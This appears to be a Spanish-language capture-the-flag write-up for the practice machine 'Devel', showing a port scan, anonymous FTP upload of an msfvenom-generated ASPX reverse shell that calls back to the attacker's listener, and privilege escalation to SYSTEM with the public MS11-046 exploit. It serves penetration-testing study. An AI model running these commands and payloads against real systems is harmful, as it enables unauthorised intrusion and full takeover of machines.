Devel - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos:

```
PORT   STATE SERVICE REASON          VERSION
21/tcp open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Tenemos el puerto ftp y http abierto. Por el nombre de los archivos del ftp me imagino que sera en contenido del IIS:

```
└─$ curl -O http://10.10.10.5/welcome.png
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  180k  100  180k    0     0   205k      0 --:--:-- --:--:-- --:--:--  205k
```

Si conseguimos subir un exploit por ftp, podemos ejecutarlo via web. Lo he intentado con exploits .exe, asp y aspx. El aspx es el que me ha funcionado:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 -f aspx -o shell.aspx
```

Subimos el archivo por ftp y lo ejecutamos via web para recibir la conexion:

```
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.5] 49161
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>
```

ESCALADA DE PRIVILEGIOS

Al hacer un systeminfo vemos que tenemos la siguiente version:

```
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.5] 49196
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
```

Lo mejor es buscar un exploit de github para esa version de windows. Encontramos "MS11-046", nos descargamos el .exe:

```
git clone https://github.com/abatchy17/WindowsExploits/blob/master/MS11-046/MS11-046.exe
```

Lo pasamos a la maquina victima, lo ejecutamos sin mas y ya somos nt authority\system

```
C:\temp>.\MS11-046.exe
.\MS11-046.exe

c:\Windows\System32>whoami
whoami
nt authority\system
```